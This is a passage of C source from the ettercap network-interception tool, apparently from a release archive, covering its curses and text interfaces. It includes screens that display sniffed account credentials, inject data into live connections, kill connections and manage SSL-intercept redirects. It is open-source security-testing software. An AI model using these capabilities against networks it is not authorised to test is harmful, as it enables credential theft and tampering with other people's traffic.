focus to it */ if (wdg_connections) { wdg_set_focus(wdg_connections); return; } wdg_create_object(&wdg_connections, WDG_DYNLIST, WDG_OBJ_WANT_FOCUS); wdg_set_title(wdg_connections, "Live connections:", WDG_ALIGN_LEFT); wdg_set_size(wdg_connections, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_connections, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_connections, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_connections, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_connections, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_connections, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_connections); wdg_set_focus(wdg_connections); /* set the list print callback */ wdg_dynlist_print_callback(wdg_connections, conntrack_print); /* set the select callback */ wdg_dynlist_select_callback(wdg_connections, curses_connection_data); /* add the callback on idle to refresh the profile list */ wdg_add_idle_callback(refresh_connections); /* add the destroy callback */ wdg_add_destroy_key(wdg_connections, CTRL('Q'), curses_kill_connections); wdg_dynlist_add_callback(wdg_connections, 'd', curses_connection_detail); wdg_dynlist_add_callback(wdg_connections, 'k', curses_connection_kill); wdg_dynlist_add_callback(wdg_connections, 'x', curses_connection_purge); wdg_dynlist_add_callback(wdg_connections, ' ', curses_connection_help); } static void curses_kill_connections(void) { DEBUG_MSG("curses_kill_connections"); wdg_del_idle_callback(refresh_connections); /* the object does not exist anymore */ wdg_connections = NULL; } static void curses_connection_help(void *dummy) { /* variable not used */ (void) dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - open the data panel in real time\n" " d - show details of the current connection\n" " k - kill the connection\n" " x - purge the connection list"; curses_message(help); } static void refresh_connections(void) { /* if not focused don't refresh it */ if (!(wdg_connections->flags & WDG_OBJ_FOCUSED)) return; wdg_dynlist_refresh(wdg_connections); } /* * details for a connection */ static void curses_connection_detail(void *conn) { struct conn_tail *c = (struct conn_tail *)conn; char tmp[MAX_ASCII_ADDR_LEN]; char *proto = ""; char name[MAX_HOSTNAME_LEN]; unsigned int row = 0; DEBUG_MSG("curses_connection_detail"); /* if the object already exist, set the focus to it */ if (wdg_conn_detail) { wdg_destroy_object(&wdg_conn_detail); wdg_conn_detail = NULL; } wdg_create_object(&wdg_conn_detail, WDG_WINDOW, WDG_OBJ_WANT_FOCUS); wdg_set_title(wdg_conn_detail, "Connection detail:", WDG_ALIGN_LEFT); wdg_set_size(wdg_conn_detail, 1, 2, 75, 23); wdg_set_color(wdg_conn_detail, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_conn_detail, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_conn_detail, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_conn_detail, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_conn_detail, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_conn_detail); wdg_set_focus(wdg_conn_detail); /* add the destroy callback */ wdg_add_destroy_key(wdg_conn_detail, CTRL('Q'), NULL); /* print the information */ wdg_window_print(wdg_conn_detail, 1, ++row, "Source MAC address : %s", mac_addr_ntoa(c->co->L2_addr1, tmp)); wdg_window_print(wdg_conn_detail, 1, ++row, "Destination MAC address : %s", mac_addr_ntoa(c->co->L2_addr2, tmp)); ++row; wdg_window_print(wdg_conn_detail, 1, ++row, "Source IP address : %s", ip_addr_ntoa(&(c->co->L3_addr1), tmp)); if (host_iptoa(&(c->co->L3_addr1), name) == E_SUCCESS) wdg_window_print(wdg_conn_detail, 1, ++row, "Source hostname : %s", name); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) wdg_window_print(wdg_conn_detail, 1, ++row, "Source location : %s", geoip_country_by_ip(&c->co->L3_addr1)); #endif wdg_window_print(wdg_conn_detail, 1, ++row, "Destination IP address : %s", ip_addr_ntoa(&(c->co->L3_addr2), tmp)); if (host_iptoa(&(c->co->L3_addr2), name) == E_SUCCESS) wdg_window_print(wdg_conn_detail, 1, ++row, "Destination hostname : %s", name); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) wdg_window_print(wdg_conn_detail, 1, ++row, "Destination location : %s", geoip_country_by_ip(&c->co->L3_addr2)); #endif ++row; switch (c->co->L4_proto) { case NL_TYPE_UDP: proto = "UDP"; break; case NL_TYPE_TCP: proto = "TCP"; break; } wdg_window_print(wdg_conn_detail, 1, ++row, "Protocol : %s", proto); wdg_window_print(wdg_conn_detail, 1, ++row, "Source port : %-5d %s", ntohs(c->co->L4_addr1), service_search(c->co->L4_addr1, c->co->L4_proto)); wdg_window_print(wdg_conn_detail, 1, ++row, "Destination port : %-5d %s", ntohs(c->co->L4_addr2), service_search(c->co->L4_addr2, c->co->L4_proto)); row++; wdg_window_print(wdg_conn_detail, 1, ++row, "--> %d <-- %d total: %d ", c->co->tx, c->co->rx, c->co->xferred); row++; if (c->co->DISSECTOR.user) { wdg_window_print(wdg_conn_detail, 1, ++row, "Account : %s / %s", c->co->DISSECTOR.user, c->co->DISSECTOR.pass); if (c->co->DISSECTOR.info) wdg_window_print(wdg_conn_detail, 1, ++row, "Additional Info : %s", c->co->DISSECTOR.info); } } static void curses_connection_data(void *conn) { struct conn_tail *c = (struct conn_tail *)conn; DEBUG_MSG("curses_connection_data"); /* * remove any hook on the open connection. * this is done to prevent a switch of connection * with the panel opened */ if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); /* remove the viewing flag */ curr_conn->flags &= ~CONN_VIEWING; } /* set the global variable to pass the parameter to other functions */ curr_conn = c->co; curr_conn->flags |= CONN_VIEWING; /* default is split view */ curses_connection_data_split(); } static void curses_connection_data_help(void) { char help[] = "HELP: shortcut list:\n\n" " ARROWS - switch between panels\n" " j - switch from split to joined view\n" " y - inject characters interactively\n" " Y - inject characters from a file\n" " k - kill the connection"; curses_message(help); } /* * show the content of the connection */ static void curses_connection_data_split(void) { char tmp[MAX_ASCII_ADDR_LEN]; char title[MAX_ASCII_ADDR_LEN+6]; DEBUG_MSG("curses_connection_data_split"); if (wdg_conndata) { struct conn_object *tmp_conn = curr_conn; wdg_destroy_object(&wdg_conndata); curses_destroy_conndata(); curr_conn = tmp_conn; } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; wdg_create_object(&wdg_conndata, WDG_COMPOUND, WDG_OBJ_WANT_FOCUS); wdg_set_color(wdg_conndata, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_conndata, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_conndata, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_conndata, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_conndata, "Connection data", WDG_ALIGN_LEFT); wdg_set_size(wdg_conndata, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_create_object(&wdg_c1, WDG_SCROLL, 0); snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); wdg_set_title(wdg_c1, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_c1, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_c1, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_c1, 2, 3, current_screen.cols / 2, SYSMSG_WIN_SIZE - 2); wdg_create_object(&wdg_c2, WDG_SCROLL, 0); snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); wdg_set_title(wdg_c2, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_c2, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_c2, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_c2, current_screen.cols / 2 + 1, 3, -2, SYSMSG_WIN_SIZE - 2); /* set the buffers */ wdg_scroll_set_lines(wdg_c1, EC_GBL_CONF->connection_buffer / (current_screen.cols / 2)); wdg_scroll_set_lines(wdg_c2, EC_GBL_CONF->connection_buffer / (current_screen.cols / 2)); /* link the widget together within the compound */ wdg_compound_add(wdg_conndata, wdg_c1); wdg_compound_add(wdg_conndata, wdg_c2); /* add the destroy callback */ wdg_add_destroy_key(wdg_conndata, CTRL('Q'), curses_destroy_conndata); wdg_compound_add_callback(wdg_conndata, 'j', curses_connection_data_join); wdg_compound_add_callback(wdg_conndata, 'y', curses_connection_inject); wdg_compound_add_callback(wdg_conndata, 'Y', curses_connection_inject_file); wdg_compound_add_callback(wdg_conndata, 'k', curses_connection_kill_wrapper); wdg_compound_add_callback(wdg_conndata, ' ', curses_connection_data_help); wdg_draw_object(wdg_conndata); wdg_set_focus(wdg_conndata); /* print the old data */ connbuf_print(&curr_conn->data, split_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, split_print_po); } static void curses_destroy_conndata(void) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); wdg_conndata = NULL; wdg_c1 = NULL; wdg_c2 = NULL; wdg_join = NULL; curr_conn->flags &= ~CONN_VIEWING; curr_conn = NULL; } static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, (const char*)text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_c1, EC_COLOR, "%s", dispbuf); else wdg_scroll_print(wdg_c2, EC_COLOR, "%s", dispbuf); } static void split_print_po(struct packet_object *po) { int ret; /* check if the object exists */ if (wdg_conndata == NULL || wdg_c1 == NULL || wdg_c2 == NULL) return; /* if not focused don't refresh it */ if (!(wdg_conndata->flags & WDG_OBJ_FOCUSED)) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_c1, EC_COLOR, "%s", dispbuf); else wdg_scroll_print(wdg_c2, EC_COLOR, "%s", dispbuf); } /* * show the data in a joined window */ static void curses_connection_data_join(void) { char src[MAX_ASCII_ADDR_LEN]; char dst[MAX_ASCII_ADDR_LEN]; char title[64]; DEBUG_MSG("curses_connection_data_join"); if (wdg_conndata) { struct conn_object *tmp_conn = curr_conn; wdg_destroy_object(&wdg_conndata); curses_destroy_conndata(); curr_conn = tmp_conn; } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; wdg_create_object(&wdg_conndata, WDG_COMPOUND, WDG_OBJ_WANT_FOCUS); wdg_set_color(wdg_conndata, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_conndata, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_conndata, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_conndata, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_conndata, "Connection data", WDG_ALIGN_LEFT); wdg_set_size(wdg_conndata, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_create_object(&wdg_join, WDG_SCROLL, 0); snprintf(title, 64, "%s:%d - %s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, src), ntohs(curr_conn->L4_addr1), ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); wdg_set_title(wdg_join, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_join, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_join, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_join, 2, 3, -2, SYSMSG_WIN_SIZE - 2); /* set the buffers */ wdg_scroll_set_lines(wdg_join, EC_GBL_CONF->connection_buffer / (current_screen.cols / 2) ); /* link the widget together within the compound */ wdg_compound_add(wdg_conndata, wdg_join); /* add the destroy callback */ wdg_add_destroy_key(wdg_conndata, CTRL('Q'), curses_destroy_conndata); /* * do not add inject callback because we can determine where to inject in * joined mode... */ wdg_compound_add_callback(wdg_conndata, 'j', curses_connection_data_split); wdg_compound_add_callback(wdg_conndata, 'k', curses_connection_kill_wrapper); wdg_compound_add_callback(wdg_conndata, ' ', curses_connection_data_help); wdg_draw_object(wdg_conndata); wdg_set_focus(wdg_conndata); /* print the old data */ connbuf_print(&curr_conn->data, join_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, join_print_po); } static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, (const char*)text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_join, EC_COLOR_JOIN1, "%s", dispbuf); else wdg_scroll_print(wdg_join, EC_COLOR_JOIN2, "%s", dispbuf); } static void join_print_po(struct packet_object *po) { int ret; /* check if the object exists */ if (wdg_conndata == NULL || wdg_join == NULL) return; /* if not focused don't refresh it */ if (!(wdg_conndata->flags & WDG_OBJ_FOCUSED)) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_join, EC_COLOR_JOIN1, "%s", dispbuf); else wdg_scroll_print(wdg_join, EC_COLOR_JOIN2, "%s", dispbuf); } /* * kill the selected connection connection */ static void curses_connection_kill(void *conn) { struct conn_tail *c = (struct conn_tail *)conn; DEBUG_MSG("curses_connection_kill"); /* kill it */ switch (user_kill(c->co)) { case E_SUCCESS: /* set the status */ c->co->status = CONN_KILLED; curses_message("The connection was killed !!"); break; case -E_FATAL: curses_message("Cannot kill UDP connections !!"); break; } } /* * delete the entire list */ static void curses_connection_purge(void *conn) { /* variable not used */ (void) conn; DEBUG_MSG("curses_connection_purge"); conntrack_purge(); refresh_connections(); } /* * call the specialized funtion as this is a callback * without the parameter */ static void curses_connection_kill_wrapper(void) { struct conn_tail c; DEBUG_MSG("curses_connection_kill_wrapper"); /* create the fake conn_tail object */ c.co = curr_conn; curses_connection_kill(&c); } /* * inject interactively with the user */ static void curses_connection_inject(void) { wdg_t *in; DEBUG_MSG("curses_connection_inject"); SAFE_REALLOC(injectbuf, 501 * sizeof(char)); memset(injectbuf, 0, 501); wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(in, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(in, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(in, 75, 12); wdg_input_add(in, 1, 1, "Chars to be injected :", (char*)injectbuf, 50, 10); wdg_input_set_callback(in, inject_user); wdg_draw_object(in); wdg_set_focus(in); } static void inject_user(void) { size_t len; /* escape the sequnces in the buffer */ len = strescape((char*)injectbuf, (char*)injectbuf, strlen(injectbuf)+1); /* check where to inject */ if (wdg_c1->flags & WDG_OBJ_FOCUSED) { user_inject(injectbuf, len, curr_conn, 1); } else if (wdg_c2->flags & WDG_OBJ_FOCUSED) { user_inject(injectbuf, len, curr_conn, 2); } } /* * inject form a file */ static void curses_connection_inject_file(void) { wdg_t *fop; DEBUG_MSG("curses_connection_inject_file"); wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(fop, "Select a file to inject...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(fop, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, inject_file); wdg_draw_object(fop); wdg_set_focus(fop); } /* * map the file into memory and pass the buffer to the inject function */ static void inject_file(const char *path, char *file) { char *filename; int fd; void *buf; size_t size, ret; DEBUG_MSG("inject_file %s/%s", path, file); SAFE_CALLOC(filename, strlen(path)+strlen(file)+2, sizeof(char)); snprintf(filename, strlen(path)+strlen(file)+2, "%s/%s", path, file); /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) { ui_error("Can't load the file"); return; } SAFE_FREE(filename); /* calculate the size of the file */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(buf, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, buf, size); close(fd); if (ret != size) { ui_error("Cannot read the file into memory"); return; } /* check where to inject */ if (wdg_c1->flags & WDG_OBJ_FOCUSED) { user_inject(buf, size, curr_conn, 1); } else if (wdg_c2->flags & WDG_OBJ_FOCUSED) { user_inject(buf, size, curr_conn, 2); } SAFE_FREE(buf); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/0000755000175000017500000000000013505247364017072 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/text/ec_text_conn.c0000644000175000017500000000302313505247364021704 0ustar koeppeakoeppea/* ettercap -- diplay the connection list Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* globals */ /* proto */ void text_connections(void); /*******************************************/ void text_connections(void) { void *list; char *desc; SAFE_CALLOC(desc, 160, sizeof(char)); /* retrieve the first element */ list = conntrack_print(0, NULL, NULL, 0); fprintf(stdout, "\nConnections list:\n\n"); /* walk the connection list */ while(list) { /* get the next element */ list = conntrack_print(+1, list, &desc, 159); fprintf(stdout, "%s\n", desc); } fprintf(stdout, "\n"); SAFE_FREE(desc); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/ec_text_display.c0000644000175000017500000000763313505247364022427 0ustar koeppeakoeppea/* ettercap -- formats and displays the packets Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* proto */ void text_print_packet(struct packet_object *po); static void display_headers(struct packet_object *po); /*******************************************/ void text_print_packet(struct packet_object *po) { /* * keep it static so it is always the same * memory region used for this operation */ static u_char *tmp = NULL; int ret; /* don't display the packet */ if (EC_GBL_OPTIONS->quiet) return; /* * if the regex does not match, the packet is not interesting * * should we put this after the format function ? * in this way we can match e.t.t.e.r.c.a.p in TEXT mode with * the "ettercap" regex */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* * prepare the buffer, * the max length is hex_fomat * so use its length for the buffer */ SAFE_REALLOC(tmp, hex_len(po->DATA.disp_len) * sizeof(u_char)); /* * format the packet with the function set by the user */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, tmp); /* print the headers */ display_headers(po); /* sync stream/descriptor output and print the packet */ fflush(stdout); write(fileno(stdout), tmp, ret); } static void display_headers(struct packet_object *po) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char flags[10]; char *p = flags; char proto[5]; memset(flags, 0, sizeof(flags)); memset(proto, 0, sizeof(proto)); /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN fprintf(stdout, "\n\n%s [%d]\n", ec_ctime(&po->ts), po->ts.tv_usec); #else fprintf(stdout, "\n\n%s [%lu]\n", ec_ctime(&po->ts), po->ts.tv_usec); #endif if (EC_GBL_OPTIONS->ext_headers) { /* display the mac addresses */ mac_addr_ntoa(po->L2.src, tmp1); mac_addr_ntoa(po->L2.dst, tmp2); fprintf(stdout, "%17s --> %17s\n", tmp1, tmp2 ); } /* calculate the flags */ if (po->L4.flags & TH_SYN) *p++ = 'S'; if (po->L4.flags & TH_FIN) *p++ = 'F'; if (po->L4.flags & TH_RST) *p++ = 'R'; if (po->L4.flags & TH_ACK) *p++ = 'A'; if (po->L4.flags & TH_PSH) *p++ = 'P'; if (po->L4.flags & TH_URG) *p++ = 'U'; if (po->L4.flags & TH_ECE) *p++ = 'E'; /* rfc 2481/3168 */ if (po->L4.flags & TH_CWR) *p++ = 'C'; /* rfc 2481/3168 */ *p++ = '\0'; /* determine the proto */ switch(po->L4.proto) { case NL_TYPE_TCP: strncpy(proto, "TCP", 4); break; case NL_TYPE_UDP: strncpy(proto, "UDP", 4); break; } /* display the ip addresses */ ip_addr_ntoa(&po->L3.src, tmp1); ip_addr_ntoa(&po->L3.dst, tmp2); fprintf(stdout, "%s %s:%d --> %s:%d | %s (%zu)\n", proto, tmp1, ntohs(po->L4.src), tmp2, ntohs(po->L4.dst), flags, po->DATA.disp_len); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/ec_text_redirect.c0000644000175000017500000001344213505247364022556 0ustar koeppeakoeppea/* ettercap -- text GUI for SSL redirect management Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void text_redirect_print_rule(struct redir_entry *re); static void text_redirect_print_serv(struct serv_entry *se); /* globals */ struct redir_entry **redirect_list = NULL; struct serv_entry **service_list = NULL; int n_redir = 0; int n_serv = 0; /********************************/ void text_redirect_print(void) { /* free list of redirects if allocated before */ SAFE_FREE(redirect_list); SAFE_FREE(service_list); n_redir = 0; /* print header */ fprintf(stdout, "SSL Intercepts\n"); fprintf(stdout, " # proto %30s %30s service\n", "source", "destination"); /* print rules */ ec_walk_redirects(text_redirect_print_rule); } /* * delete redirect */ void text_redirect_del(int num) { int ret; struct redir_entry *re; if (num < 1 || num > n_redir) { INSTANT_USER_MSG("Entered number '%d' is not in the range of " "registered redirects.\n", num); return; } re = redirect_list[num - 1]; ret = ec_redirect(EC_REDIR_ACTION_REMOVE, re->name, re->proto, re->source, re->destination, re->from_port, re->to_port); if (ret == E_SUCCESS) INSTANT_USER_MSG("Redirect removed successfully\n", (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->source, re->destination, re->name); else INSTANT_USER_MSG("Removing redirect [%s] %s -> %s:%s failed!\n", (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->source, re->destination, re->name); } /* * add a redirect rule */ void text_redirect_add(void) { char ipver[20], service[20]; char sourcebuf[MAX_ASCII_ADDR_LEN], destinationbuf[MAX_ASCII_ADDR_LEN]; char *p, *source, *destination; int i, ret, found = 0, invalid = 0; ec_redir_proto_t proto; fprintf(stdout, "Interceptable services: \n"); /* print available services */ SAFE_FREE(service_list); n_serv = 0; ec_walk_redirect_services(text_redirect_print_serv); fprintf(stdout, "\n\n"); fprintf(stdout, "IP version [ipv4]: "); fgets(ipver, 20, stdin); /* remove trailing line feed */ if ((p = strrchr(ipver, '\n')) != NULL) *p = 0; fprintf(stdout, "Source [any]: "); fgets(sourcebuf, MAX_ASCII_ADDR_LEN, stdin); /* remove trailing line feed */ if ((p = strrchr(sourcebuf, '\n')) != NULL) *p = 0; fprintf(stdout, "Destination [any]: "); fgets(destinationbuf, MAX_ASCII_ADDR_LEN, stdin); /* remove trailing line feed */ if ((p = strrchr(destinationbuf, '\n')) != NULL) *p = 0; fprintf(stdout, "Service [ftps]: "); fgets(service, 20, stdin); /* remove trailing line feed */ if ((p = strrchr(service, '\n')) != NULL) *p = 0; /* check user input for IP version */ if (!strcmp(ipver, "") || !strcasecmp(ipver, "ipv4")) proto = EC_REDIR_PROTO_IPV4; else if (!strcasecmp(ipver, "ipv6")) proto = EC_REDIR_PROTO_IPV6; else { INSTANT_USER_MSG("Invalid IP version entered. " "Either \"ipv4\" or \"ipv6\"\n"); invalid = 1; } /* check user input for source and destination */ if (!strcmp(sourcebuf, "") || !strcasecmp(sourcebuf, "any")) source = NULL; else source = sourcebuf; if (!strcmp(destinationbuf, "") || !strcasecmp(destinationbuf, "any")) destination = NULL; else destination = destinationbuf; /* check user input for service */ if (!strcmp(service, "")) strcpy(service, "ftps"); for (i = 0; i < n_serv; i++) { if (!strcasecmp(service, service_list[i]->name)) { found = 1; break; } } if (found == 0) { INSTANT_USER_MSG("Invalid interceptable service entered.\n"); invalid = 1; } if (invalid == 1) { INSTANT_USER_MSG("Redirect could not be inserted due to invalid " "input.\n"); return; } ret = ec_redirect(EC_REDIR_ACTION_INSERT, service_list[i]->name, proto, source, destination, service_list[i]->from_port, service_list[i]->to_port); if (ret == E_SUCCESS) INSTANT_USER_MSG("New redirect inserted successfully.\n"); else INSTANT_USER_MSG("Insertion of new redirect failed.\n"); } /* * print a redirect rule */ static void text_redirect_print_rule(struct redir_entry *re) { /* allocate a new entry in the list and safe redir pointer */ SAFE_REALLOC(redirect_list, (n_redir+1) * sizeof(struct redir_entry *)); redirect_list[n_redir] = re; n_redir++; /* print the rule */ fprintf(stdout, "%2d %5s %30s %30s %s\n", n_redir, (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->source, re->destination, re->name); } /* * print a registered redirect service name */ static void text_redirect_print_serv(struct serv_entry *se) { /* allocate new entry in the list and rember service */ SAFE_REALLOC(service_list, (n_serv+1) * sizeof(struct serv_entry *)); service_list[n_serv] = se; n_serv++; fprintf(stdout, "\t%d. %s\n", n_serv, se->name); } ettercap-0.8.3/src/interfaces/text/ec_text.c0000644000175000017500000004526613505247364020706 0ustar koeppeakoeppea/* ettercap -- text only GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #ifdef OS_WINDOWS #include #else #include #endif /* globals */ struct termios old_tc; struct termios new_tc; /* proto */ void text_interface(void); static void text_init(void); static void text_cleanup(void); static void text_msg(const char *msg); static void text_error(const char *msg); static void text_fatal_error(const char *msg); static void text_input(const char *title, char *input, size_t n, void (*callback)(void)); static void text_help(void); static int text_progress(char *title, int value, int max); static void text_run_plugin(void); static void text_run_filter(void); static void text_stats(void); static void text_stop_cont(void); static void text_hosts_list(void); static void text_profile_list(void); static void text_visualization(void); static void text_redirects(void); /*******************************************/ void set_text_interface(void) { struct ui_ops ops; /* wipe the struct */ memset(&ops, 0, sizeof(ops)); /* register the functions */ ops.init = &text_init; ops.start = &text_interface; ops.cleanup = &text_cleanup; ops.msg = &text_msg; ops.error = &text_error; ops.fatal_error = &text_fatal_error; ops.input = &text_input; ops.progress = &text_progress; ops.type = UI_TEXT; ui_register(&ops); /* * add the hook to dispatcher to print the * packets in the right format */ hook_add(HOOK_DISPATCHER, text_print_packet); } /* * set the terminal as non blocking */ static void text_init(void) { /* taken from readchar.c, by M. Andreoli (2000) */ tcgetattr(0, &old_tc); new_tc = old_tc; new_tc.c_lflag &= ~(ECHO | ICANON); /* raw output */ 